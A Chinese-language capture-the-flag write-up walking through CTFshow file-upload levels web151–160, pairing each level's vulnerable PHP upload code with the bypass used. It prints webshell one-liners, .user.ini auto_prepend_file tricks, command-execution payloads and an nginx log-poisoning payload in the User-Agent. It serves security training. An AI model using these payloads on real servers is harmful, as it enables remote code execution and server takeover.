CTFshow 文件上传

web151

最简单的文件上传,上传图片马后抓包修改后缀绕过文件名检测

image-20230227200134482

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}

}

web152

看题目描述没理解,大小写绕了一下但是后端没有解析,于是继续传图片马改成php然后getshell

image-20230227200842473

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);

可以看到只是对文件类型也就是content-type进行了判断而已

web153

这里传图片马再改后缀返回的是:

image-20230227201346740

image-20230227201354276

大小写可以上传但不能解析,其他php后缀同理,这里nginx服务器考虑.user.ini

原理:指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件

巧合的是这题upload目录下有个index.php,所以这种方式是可以成功的。

还有的师傅这样解释到:

user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
条件:
服务器脚本语言为PHP
对应目录下面有可执行的php文件,如index.php
服务器使用CGI/FastCGI模式

image-20230227201410090

注意要先传个.user.ini配置文件

image-20230227202839645

1
2
3
auto_prepend_file=2.png
or
auto_append_file=2.png

然后,传个图片,upload下的index.php就会包含并执行它啦

image-20230227203108605

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);

可以看出是黑名单,对php这个后缀做了限制

web154

上传个正常图片都失败,因为我的图片马里面有敏感信息,应该是php,用以下替代

1
2
3
4
5
<?= eval($_POST['cmd']);?>

<? eval($_POST['cmd']);?>

<% eval($_POST['cmd']);%>

还是不能解析,结合上一题上传的配置文件,就可以getshell了

image-20230227203943539

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(strrpos($content, "php")==FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>3,"msg"=>"文件内容不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);

可以看到content即对文件内容进行了检测

web155

做法同上

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);

web156

继续对文件内容进行了限制

image-20230227222413450

过滤了中括号,改为大括号

image-20230227222452770

其他步骤同上题

image-20230227222559423

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);

web157

继续增加过滤的限制

image-20230227223054918

1
<?= (system('tac ../f*')) ?>

不用getshell,直接在图片里写tac命令把flag读出来,后面上传完配置文件后访问index.php页面就好了

image-20230227223256714

web158

同上

web159

过滤了括号,使用反引号``执行命令

1
<?= `tac ../f*` ?>

image-20230227223839698

image-20230227223923759

web160

反引号也被限制,日志文件包含

image-20230227225326585

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

然后上传.user.ini的同时将user-agent改为

1
<?php system('tac ../f*');?>

再去访问index.php

image-20230227225726166

因为.log不像php是后端语言,所以这里include就直接显示出来了